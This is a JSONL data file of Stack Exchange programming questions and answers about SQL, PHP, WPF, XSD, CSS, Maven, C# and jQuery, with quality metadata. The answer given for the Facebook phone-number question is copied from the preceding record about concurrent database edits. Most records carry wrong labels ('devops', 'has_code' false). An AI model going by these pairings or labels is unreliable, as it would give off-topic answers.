{"id": "hf_b807d2ce51f6", "question": "<p>Given a couple of simple tables like so:</p>\n\n<pre><code>create table R(foo text);\ncreate table S(bar text);\n</code></pre>\n\n<p>If I were to union them together in a query, what do I call the column?</p>\n\n<pre><code>select T.????\nfrom (\n    select foo\n    from R\n    union\n    select bar\n    from S) as T;\n</code></pre>\n\n<p>Now, in mysql, I can apparently refer to the column of T as 'foo' -- the name of the matching column for the first relation in the union. In sqlite3, however, that doesn't seem to work. Is there a way to do it that's standard across all SQL implementations?</p>\n\n<p>If not, how about just for sqlite3?</p>\n\n<p>Correction: sqlite3 does allow you to refer to T's column as 'foo' after all! Oops!</p>\n", "question_body": "", "answer": "Try to give an alias to columns;\n```\n```\nselect T.Col1\nfrom (\n    select foo as Col1\n    from R\n    union\n    select bar as Col1\n    from S) as T;\n```\n```\nor If the name of column is not necessary then T.* will be enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.138312"}
{"id": "hf_be6d71a64f05", "question": "<p>In C++, I code this way:</p>\n\n<pre><code>//foo.h    \nclass cBar\n{\n    void foobar();\n}\n</code></pre>\n\n<hr>\n\n<pre><code>//foo.cpp\nvoid cBar::foobar()\n{\n    //Code\n}\n</code></pre>\n\n<p>I tried to do this on PHP but the parser would complain. PHP's documentation also doesn't help. Can this be done in PHP?</p>\n", "question_body": "", "answer": "You can't really do this in the same manner.\nYou can use\nclass abstraction\nand\ninterfaces\n, though. The main difference between the two is that and interface does not allow you to specify the function body, where (not abstract) methods in an abstract object can hold all kinds of default behaviour.\nAbstraction:\n```\n```\nabstract class cBar\n{\n    // MUST be extended\n    abstract protected function foobar();\n\n    // MAY be extended\n    protected function someMethod()\n    {\n        // do stuff\n    }\n}\n\nclass cBarExtender extends cBar\n{\n    protected function foobar()\n    {\n        // do stuff\n    }\n\n}\n```\n```\nInterfacing:\n```\n```\ninterface cBar \n{\n    // MUST be implemented\n    protected function foobar();\n}\n\nclass cBarImplementation implements cBar\n{\n    protected function foobar()\n    {\n        // do stuff\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.173295"}
{"id": "hf_24124feb2aa7", "question": "<p>I cannot get a two-way bind in WPF to work. </p>\n\n<p>I have a string property in my app's main window that is bound to a TextBox (I set the mode to \"TwoWay\"). </p>\n\n<p>The only time that the value of the TextBox will update is when the window initializes. </p>\n\n<p>When I type into the TextBox, the underlying string properties value does not change. </p>\n\n<p>When the string property's value is changed by an external source (an event on Click, for example, that just resets the TextBox's value), the change doesn't propagate up to the TextBox.</p>\n\n<p>What are the steps that I must implement to get two-way binding to work properly in even this almost trivial example?</p>\n", "question_body": "", "answer": "We might need to see the code. Does your string property raise a PropertyChanged event? Or (even better) is it implemented as a DependencyProperty? If not, the bound TextBox won't know when the value changes.\nAs for typing into the TextBox and not seeing the property's value change, that may be because your TextBox isn't losing focus. By default, bound TextBoxes don't write their values back to the source property until focus leaves the control. Try tabbing out of it and seeing if the property value changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.196534"}
{"id": "hf_0d96e2436738", "question": "<p>This is intended to be a more concrete, easily expressable form of my earlier question.</p>\n\n<p>Take a list of words from a dictionary with common letter length.<br>\nHow to reorder this list tto keep as many letters as possible common between adjacent words?  </p>\n\n<p>Example 1:</p>\n\n<pre><code>AGNI, CIVA, DEVA, DEWA, KAMA, RAMA, SIVA, VAYU\nreorders to:  \nAGNI, CIVA, SIVA, DEVA, DEWA, KAMA, RAMA, VAYU  \n</code></pre>\n\n<p>Example 2:</p>\n\n<pre><code>DEVI, KALI, SHRI, VACH\nreorders to:\nDEVI, SHRI, KALI, VACH\n</code></pre>\n\n<p>The simplest algorithm seems to be:  Pick anything, then search for the shortest distance?<br>\nHowever, DEVI->KALI  (1 common) is equivalent to DEVI->SHRI (1 common)<br>\nChoosing the first match would result in fewer common pairs in the entire list (4 versus 5). </p>\n\n<p>This seems that it should be simpler than full TSP? </p>\n", "question_body": "", "answer": "This can be done with a recursive approach. Pseudo-code:\n```\n```\nStart with one of the words, call it w\nFindNext(w, l) // l = list of words without w\n  Get a list l of the words near to w\n  If only one word in list\n    Return that word\n  Else\n    For every word w' in l do FindNext(w', l') //l' = l without w'\n```\n```\nYou can add some score to count common pairs and to prefer \"better\" lists.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.243002"}
{"id": "hf_f7605efc69ef", "question": "<p>How do you add that little \"X\" button on the right side of a UITextField that clears the text?  I can't find an attribute for adding this sub-control in Interface Builder in the iPhone OS 2.2 SDK.</p>\n\n<p><strong>Note:</strong> In Xcode 4.x and later (iPhone 3.0 SDK and later), you can do this in Interface Builder.</p>\n", "question_body": "", "answer": "This button is a built-in overlay that is provided by the\n```\nUITextField\n```\nclass, but as of the iOS 2.2 SDK, there isn't any way to set it via Interface Builder.  You have to enable it programmatically.\nAdd this line of code somewhere (\n```\nviewDidLoad\n```\n, for example):\nObjective-C\n```\n```\nmyUITextField.clearButtonMode = UITextFieldViewModeWhileEditing;\n```\n```\nSwift 5.0\n```\n```\nmyUITextField.clearButtonMode = .whileEditing\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.297739"}
{"id": "hf_44c78ab3b375", "question": "<p>Does anyone know of shared TODO list plugin for Eclipse that allows users in a a development team to all view and edit the same list of tasks?</p>\n", "question_body": "", "answer": "Mylyn\ncan be used to integrate issue tracking systems into the IDE.\nIt does this by making tasks a first class part of Eclipse, and integrating rich and offline editing for repositories such as Bugzilla, Trac, and JIRA.\nIf you are not looking for a lightweight solution, then you might give it a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.334758"}
{"id": "hf_44c5f982fcd7", "question": "<p>If there a way to protect against concurrent modifications of the same data base entry by two or more users?</p>\n\n<p>It would be acceptable to show an error message to the user performing the second commit/save operation, but data should not be silently overwritten.</p>\n\n<p>I think locking the entry is not an option, as a user might use the \"Back\" button or simply close his browser, leaving the lock for ever.</p>\n", "question_body": "", "answer": "To be safe the database needs to support\ntransactions\n.\nIf the fields is \"free-form\" e.g. text etc. and you need to allow several users to be able to edit the same fields (you can't have single user ownership to the data), you could store the original data in a variable.\nWhen the user committs, check if the input data has changed from the original data (if not, you don't need to bother the DB by rewriting old data),\nif the original data compared to the current data in the db is the same you can save, if it has changed you can show the user the difference and ask the user what to do.\nIf the fields is numbers e.g. account balance, number of items in a store etc., you can handle it more automatically if you calculate the difference between the original value (stored when the user started filling out the form) and the new value you can start a transaction read the current value and add the difference, then end transaction. If you can't have negative values, you should abort the transaction if the result is negative, and tell the user.\nI don't know django, so I can't give you teh cod3s.. ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.373703"}
{"id": "hf_dd15ebb69532", "question": "<p>Using the Facebook API, is there a way of getting a friend's phone/cell number? I'm sure I saw an app a while ago that could sync Facebook with your Mac Address Book, but I haven't found anything in the API documentation that allows you to get a friend's number. Is this possible?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "To be safe the database needs to support\ntransactions\n.\nIf the fields is \"free-form\" e.g. text etc. and you need to allow several users to be able to edit the same fields (you can't have single user ownership to the data), you could store the original data in a variable.\nWhen the user committs, check if the input data has changed from the original data (if not, you don't need to bother the DB by rewriting old data),\nif the original data compared to the current data in the db is the same you can save, if it has changed you can show the user the difference and ask the user what to do.\nIf the fields is numbers e.g. account balance, number of items in a store etc., you can handle it more automatically if you calculate the difference between the original value (stored when the user started filling out the form) and the new value you can start a transaction read the current value and add the difference, then end transaction. If you can't have negative values, you should abort the transaction if the result is negative, and tell the user.\nI don't know django, so I can't give you teh cod3s.. ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.396821"}
{"id": "hf_e54a0544b6a9", "question": "<p>Can someone illustrate what really is the difference between the two?</p>\n", "question_body": "", "answer": "A design pattern is a concept, or a receipt for how to get a specific problem done.\nA Framework is code ready for use, usually packaged in a way that makes creating an application much easier.\nIt does not make sense to explain the differences because they are two totally different things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.478666"}
{"id": "hf_0cb130bacc40", "question": "<p>I have a xml file like this:</p>\n\n<pre><code>&lt;customer&gt;\n  &lt;field1 /&gt;\n  &lt;field2 /&gt;\n  &lt;field3&gt;\n    &lt;item1 /&gt;\n  &lt;/field3&gt;\n  &lt;field3&gt;\n    &lt;item1 /&gt;\n  &lt;/field3&gt;\n&lt;/customer&gt;\n</code></pre>\n\n<p>field* can appear in any order and only field3 can appear more than once.</p>\n\n<p>How can I create a XSD file to validate this?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Try this\nI'm not a guru, but this appears to work.\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <xs:element name=\"customer\" type=\"customerType\"/>\n  <xs:complexType name=\"customerType\">\n    <xs:sequence>\n      <xs:element name=\"field1\" minOccurs=\"1\" maxOccurs=\"1\">\n      </xs:element>\n      <xs:element name=\"field2\" minOccurs=\"1\" maxOccurs=\"1\">\n      </xs:element>\n      <xs:element name=\"field3\" type=\"field3Type\"\n                  minOccurs=\"1\" maxOccurs=\"unbounded\"/>\n    </xs:sequence>\n  </xs:complexType>\n  <xs:complexType name=\"field3Type\">\n    <xs:sequence>\n      <xs:element name=\"item1\">\n      </xs:element>\n    </xs:sequence>\n  </xs:complexType>\n</xs:schema>\n```\n```\ntools\nI used\nXML Copy Editor\n, but there are loads of editors which will validate XML.\nlinks\nYou might also be interested in\nthis article\nabout generating an XSD from an XML file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.501575"}
{"id": "hf_98e80e07ec68", "question": "<p>Does anyone have a good algorithm for taking an ordered list of integers, i.e.:<br>\n[1, 3, 6, 7, 8, 10, 11, 13, 14, 17, 19, 23, 25, 27, 28]</p>\n\n<p>into a given number of evenly sized ordered sublists, i.e. for 4 it will be:<br>\n[1, 3, 6] [7, 8, 10, 11] [13, 14, 17, 19] [23, 25, 27, 28]</p>\n\n<p>The requirement being that each of the sublists are ordered and as similar in size as possible.  </p>\n", "question_body": "", "answer": "Here is my own recursive solution, inspired by merge sort and breadth first tree traversal:\n```\n```\nprivate static void splitOrderedDurationsIntoIntervals(Integer[] durations, List<Integer[]> intervals, int numberOfInterals) {\n    int middle = durations.length / 2;\n    Integer[] lowerHalf = Arrays.copyOfRange(durations, 0, middle);\n    Integer[] upperHalf = Arrays.copyOfRange(durations, middle, durations.length);\n    if (lowerHalf.length > upperHalf.length) {\n        intervals.add(lowerHalf);\n        intervals.add(upperHalf);\n    } else {\n        intervals.add(upperHalf);\n        intervals.add(lowerHalf);\n    }\n    if (intervals.size() < numberOfIntervals) {\n        int largestElementLength = intervals.get(0).length;\n        if (largestElementLength > 1) {\n            Integer[] duration = intervals.remove(0);\n            splitOrderedDurationsIntoIntervals(duration,  intervals);\n        }\n    }\n}\n```\n```\nI was hoping someone might have a suggestion for an iterative solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.561742"}
{"id": "hf_a20e670d7178", "question": "<p>I want to build an Axis2 client (I'm only accessing a remote web service, I'm <em>not</em> implementing one!) with Maven2 and I don't want to add 21MB of JARs to my project. What do I have to put in my pom.xml to compile the code when I've converted the WSDL with ADB?</p>\n", "question_body": "", "answer": "(\nNote:\nThis response was provided by Aaron Digulla himself. What follows is the exact text of his own answer.)\nIn maven2, the minimum dependency set to make an ADB client work (\"ADB\" as in the way you created the Java classes from the WSDL) is this:\n```\n```\n<dependency>\n            <groupId>org.apache.axis2</groupId>\n            <artifactId>axis2-kernel</artifactId>\n            <version>1.4.1</version>\n    </dependency>\n    <dependency>\n            <groupId>org.apache.axis2</groupId>\n            <artifactId>axis2-adb</artifactId>\n            <version>1.4.1</version>\n    </dependency>\n```\n```\nHmmm... it seems I can't flag that as the correct answer. Can someone please copy this so I can flag his post?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.585693"}
{"id": "hf_b0cbf9d2a440", "question": "<p>Ever since switching from TABLE-layout to DIV-layout, one common problem remains:</p>\n\n<p><strong>PROBLEM</strong>: you fill your DIV with dynamic text and inevitably there is a super-long word that extends over the edge of your div column and makes your site look unprofessional.</p>\n\n<p><strong>RETRO-WHINING</strong>: This <em>never</em> happened with table layouts. A table cell will always nicely expand to the width of the longest word. </p>\n\n<p><strong>SEVERITY</strong>: I see this problem on even the most major sites, especially on German sites where even common words such as \"speed limit\" are very long (\"Geschwindigkeitsbegrenzung\"). </p>\n\n<p>Does anyone have a workable solution to this?</p>\n", "question_body": "", "answer": "Two fixes:\n```\noverflow:scroll\n```\n-- this makes sure your content can be seen at the cost of design (scrollbars are ugly)\n```\noverflow:hidden\n```\n-- just cuts off any overflow. It means people can't read the content though.\nIf (in the SO example) you want to stop it overlapping the padding, you'd probably have to create another div, inside the padding, to hold your content.\nEdit: As the other answers state, there are a variety of methods for truncating the words, be that working out the render width on the client side (never attempt to do this server-side as it will never work reliably, cross platform) through JS and inserting break-characters, or using non-standard and/or wildly incompatible CSS tags (\n```\nword-wrap: break-word\n```\ndoesn't appear to work in Firefox\n).\nYou will always need an overflow descriptor though. If your div contains another too-wide block-type piece of content (image, table, etc), you'll need overflow to make it not destroy the layout/design.\nSo by all means use another method (or a combination of them) but remember to add overflow too so you cover all browsers.\nEdit 2 (to address your comment below):\nStart off using the CSS\n```\noverflow\n```\nproperty isn't perfect but it stops designs breaking. Apply\n```\noverflow:hidden\n```\nfirst. Remember that overflow might not break on padding so either nest\n```\ndiv\n```\ns or use a border (whatever works best for you).\nThis will hide overflowing content and therefore you might lose meaning. You could use a scrollbar (using\n```\noverflow:auto\n```\nor\n```\noverflow:scroll\n```\ninstead of\n```\noverflow:hidden\n```\n) but depending on the dimensions of the div, and your design, this might not look or work great.\nTo fix it, we can use JS to pull things back and do some form of automated truncation. I was half-way through writing out some pseudo code for you but it gets seriously complicated about half-way through. If you need to show as much as possible, give\nhyphenator\na look in (\nas mentioned below\n).\nJust be aware that this comes at the cost of user's CPUs. It could result in pages taking a long time to load and/or resize.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.610204"}
{"id": "hf_02c06b9d9a5b", "question": "<p>I would like to build a web application on Castle MonoRail, I was wondering how can we use an action with extension and another action without extension? How can HTML helper generator url for us?</p>\n\n<p>Ex: </p>\n\n<ul>\n<li><a href=\"http://mysite.com/Products/list\" rel=\"nofollow noreferrer\">http://mysite.com/Products/list</a></li>\n<li><a href=\"http://mysite.com/Products/abc.castle\" rel=\"nofollow noreferrer\">http://mysite.com/Products/abc.castle</a></li>\n</ul>\n", "question_body": "", "answer": "You can try creating a routing role like\n```\n```\n/<controller>/<action>.castle\n```\n```\nand it would do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.634786"}
{"id": "hf_79bca8dbd149", "question": "<p>In Ruby on Rails, how to add foreign key constraint in migration?</p>\n", "question_body": "", "answer": "AFAIK, there isn't any built-in support for that, but there are\nseveral plugins\nthat help you with that. You can also add them manually to your migration files, just use the execute method for that, e.g. (sample from Rails API):\n```\n```\nclass MakeJoinUnique < ActiveRecord::Migration\n    def self.up\n      execute \"ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)\"\n    end\n\n    def self.down\n      execute \"ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`\"\n    end\n  end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.659363"}
{"id": "hf_bd774193b652", "question": "<p>I have a <code>JFrame</code> that contains a \"display\" <code>JPanel</code> with <code>JTextField</code> and a \"control\" <code>JPanel</code> with buttons that should access the contents of the display <code>JPanel</code>. I think my problem is related on how to use the observer pattern, which in principle I understand. You need to place listeners and update messages, but I don't have a clue where to put these, how to get access from one panel to the other and maybe if necessary to introduce a \"datamodel\" class. For example, I want to access the contents of the <code>JTextField</code> from the control panel and I use an anonymous action listener as follows:</p>\n\n<pre><code>JButton openfile = new JButton(\"Convert file\");\nopenfile.addActionListener(new ActionListener() { \n    public void actionPerformed(ActionEvent e) { \n        openButtonPressed();\n    }           \n});\n</code></pre>\n", "question_body": "", "answer": "It does make the code cleaner if you create the models in one layer and add a layer or two above to create the components and layout. Certainly do not extend the likes of\n```\nJFrame\n```\nand\n```\nJPanel\n```\n.\nDo not feel the need to make the composition hierarchy in the model layer exactly match the display. Then it's just a matter of taking the text from the\n```\nDocument\n```\nand performing the relevant operation.\nOkay, perhpas not that simple. Swing models are a little bit messy. In particular ButtonModel is brain damaged, and the controller area of code might not be entirely pure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.694076"}
{"id": "hf_15256e102e1c", "question": "<p>We're experimenting with following an agile approach to software development where I work.  It's working well so far, however, towards the end of the iteration, we had a problem with a build and it cost a day's worth of time fixing: time that should have been dedicated to testing.</p>\n\n<p>As a result, our QA doesn't have enough time to complete the testing before the end of the iteration.  How do you deal with this scenario - where unforeseen problems impact on tasks during the iteration?</p>\n", "question_body": "", "answer": "It depends on the scheduling of your QA - can you let them continue testing while developers are working on the next iteration already or not?\nIf yes, I'd let them finish testing.\nJust continue on with the next iteration with the data that you have already.  You really don't want to hold back a number of people because of one bottleneck.  You could add a little extra slack on the next iteration to fix bugs that haven't been reported yet, by assigning slightly less work than a full iteration's worth for every developer.\nIf no, just plan the next iteration as any normal iteration and test at the end of the iteration as before.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.767574"}
{"id": "hf_3f9b33e40b90", "question": "<p>How to Connect to PickBasic database using Ole db driver .. I need it badly help me out</p>\n", "question_body": "", "answer": "There are tools available from www.rainingdata.com. I can't see any freeware options.\nRainingdata is now tiger logic.\nhttp://www.tigerlogic.com/tigerlogic/\nAnd I've been to their worldwide conferences, but I don't recall any freeware.  Its easy to program if you can stand using a dump terminal or a terminal emulation like Accuterm.  Accuterm will allow you to program with GUI interface, but you will still have a lot of fun finding the files and programs you have to use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.814297"}
{"id": "hf_75efc4da5f10", "question": "<p>I have some javascript menu code that works just fine from a separate directory.\nBut, when I try to call the same .js files from within the same directory, it won't see the files.</p>\n\n<p>The following works from another directory:</p>\n\n<p>script type=\"text/javascript\"> var <strong>vbImgPath=\"../00-Menu-Files/\"</strong></p>\n\n<p>But, if I do this from within the same folder, how would I do it?</p>\n\n<p><strong>THE SOLUTION (edited this in after much experimentation):</strong></p>\n\n<p>I experimented A LOT!!!\nThere is only ONE solution that ultimately worked:</p>\n\n<p>\"../00-Menu-Files/\"</p>\n\n<p>The SAME thing as from the other directory!\nPretty strange that there is no other way to call this from within its own directory. But I cannot find another alternative that actually works.</p>\n", "question_body": "", "answer": "Maybe you'd use:\n```\n```\nscript type=\"text/javascript\"> var vbImgPath=\"00-Menu-Files/\"\n```\n```\nYou may want to make this work anywhere by using absolute urls with a / at the beginning and the full path afterwards, ie.\n```\n```\nscript type=\"text/javascript\"> var vbImgPath=\"/00-Menu-Files/\"\n```\n```\nWhether this works or not depends on your site's directory structure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.844620"}
{"id": "hf_9c3fd439f799", "question": "<p>I have a dll that contains a dot net assembly - common intermediate language. The problem is that it's lacking documentation and I need to figure out the api like available classes, properties and methods, correct parameters to pass etc.</p>\n\n<p>Whats the best way to do this. I need some sort of viewer/inspector but I couldn't find any.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Try reflector.\nhttp://www.red-gate.com/products/reflector/\nIts free :-)\nEdit\n:\nAs of February 2011, its no longer free ...:(\nThere are alternatives\nlike\nilspy\nor\nJetBrains dotPeek\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.868822"}
{"id": "hf_a7c152575d7e", "question": "<p>I need to determine the number of pages in a specified PDF file using C# code (.NET 2.0).  The PDF file will be read from the file system, and not from an URL.  Does anyone have any idea on how this could be done?  Note: Adobe Acrobat Reader is installed on the PC where this check will be carried out.</p>\n", "question_body": "", "answer": "You'll need a PDF API for C#. iTextSharp is one possible API, though better ones might exist.\niTextSharp Example\nYou must install iTextSharp.dll as a reference. Download iTextsharp from SourceForge.net This is a complete working program using a console application.\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing iTextSharp.text.pdf;\nusing iTextSharp.text.xml;\nnamespace GetPages_PDF\n{\n  class Program\n{\n    static void Main(string[] args)\n      {\n       // Right side of equation is location of YOUR pdf file\n        string ppath = \"C:\\\\aworking\\\\Hawkins.pdf\";\n        PdfReader pdfReader = new PdfReader(ppath);\n        int numberOfPages = pdfReader.NumberOfPages;\n        Console.WriteLine(numberOfPages);\n        Console.ReadLine();\n      }\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.893046"}
{"id": "hf_0d825a468553", "question": "<p>I have heard a few developers recently say that they are simply polling stuff (databases, files, etc.) to determine when something has changed and then run a task, such as an import.</p>\n\n<p>I'm really against this idea and feel that utilising available technology such as <a href=\"http://en.wikipedia.org/wiki/.NET_Remoting\" rel=\"noreferrer\">Remoting</a>, <a href=\"http://en.wikipedia.org/wiki/Windows_Communication_Foundation\" rel=\"noreferrer\">WCF</a>, etc. would be far better than polling.</p>\n\n<p>However, I'd like to identify the reasons why other people prefer one approach over the other and more importantly, how can I convince others that polling is wrong in this day and age?</p>\n", "question_body": "", "answer": "Polling is not \"wrong\" as such.\nA lot depends on how it is implemented and for what purpose. If you really care about immedatly notification of a change, it is very efficient. Your code sits in tight loop, constantly polling (asking) a resource whether it has changed / updated. This means you are notified as soon as you can be that something is different. But, your code is not doing anything else and there is overhead in terms of many many calls to the object in question.\nIf you are less concerned with immediate notification you can increase the interval between polls, and this can also work well, but picking the correct interval can be difficult. Too long and you might miss critical changes, too short and you are back to the problems of the first method.\nAlternatives, such as interrupts or messages, etc. can provide a better compromise in these situations. You are notified of a change as soon as is practically possible, but this delay is not something you control, it depends on the component tself being timely about passing on changes in state.\nWhat is \"wrong\" with polling?\nIt can be resource hogging.\nIt can be limiting (especially if you have many things you want to know about / poll).\nIt can be overkill.\nBut...\nIt is not inherently wrong.\nIt can be very effective.\nIt is very simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.916631"}
{"id": "hf_31d72166daa1", "question": "<p>What is the C# equivalent of Delphi's <code>FillChar</code>?</p>\n", "question_body": "", "answer": "If I understand FillChar correctly, it sets all elements of an array to the same value, yes?\nIn which case, unless the value is 0, you probably have to loop:\n```\n```\nfor(int i = 0 ; i < arr.Length ; i++) {\n    arr[i] = value;\n}\n```\n```\nFor setting the values to the type's 0, there is\n```\nArray.Clear\n```\nObviously, with the loop answer you can stick this code in a utility method if you need... for example, as an extension method:\n```\n```\npublic static void FillChar<T>(this T[] arr, T value) {...}\n```\n```\nThen you can use:\n```\n```\nint[] data = {1,2,3,4,5};\n//...\ndata.FillChar(7);\n```\n```\nIf you\nabsolutely\nmust have block operations, then\n```\nBuffer.BlockCopy\n```\ncan be used to blit data between array locatiosn - for example, you could write the first chunk, then blit it a few times to fill the bulk of the array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.941358"}
{"id": "hf_5e73f05cf821", "question": "<p>My current code looks like the following. How can I pass my array to the controller and what kind of parameters must my controller action accept?</p>\n\n<pre><code>function getplaceholders() {\n    var placeholders = $('.ui-sortable');\n    var result = new Array();\n    placeholders.each(function() {\n        var ph = $(this).attr('id');\n        var sections = $(this).find('.sort');\n        var section;\n\n        sections.each(function(i, item) {\n            var sid = $(item).attr('id');\n\n            result.push({ 'SectionId': sid, 'Placeholder': ph, 'Position': i });\n        });\n    });\n    alert(result.toString());\n    $.post(\n        '/portal/Designer.mvc/SaveOrUpdate',\n        result,\n        function(data) {\n            alert(data.Result);\n        }, \"json\");\n};\n</code></pre>\n\n<p>My controller action method looks like</p>\n\n<pre><code>public JsonResult SaveOrUpdate(IList&lt;PageDesignWidget&gt; widgets)\n</code></pre>\n", "question_body": "", "answer": "Towards the second half of\nCreate REST API using ASP.NET MVC that speaks both JSON and plain XML\n, to quote:\nNow we need to accept JSON and XML payload, delivered via HTTP POST. Sometimes your client might want to upload a collection of objects in one shot for batch processing. So, they can upload objects using either JSON or XML format. There's no native support in ASP.NET MVC to automatically parse posted JSON or XML and automatically map to Action parameters. So, I wrote a filter that does it.\"\nHe then implements an action filter that maps the JSON to C# objects with code shown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.967712"}
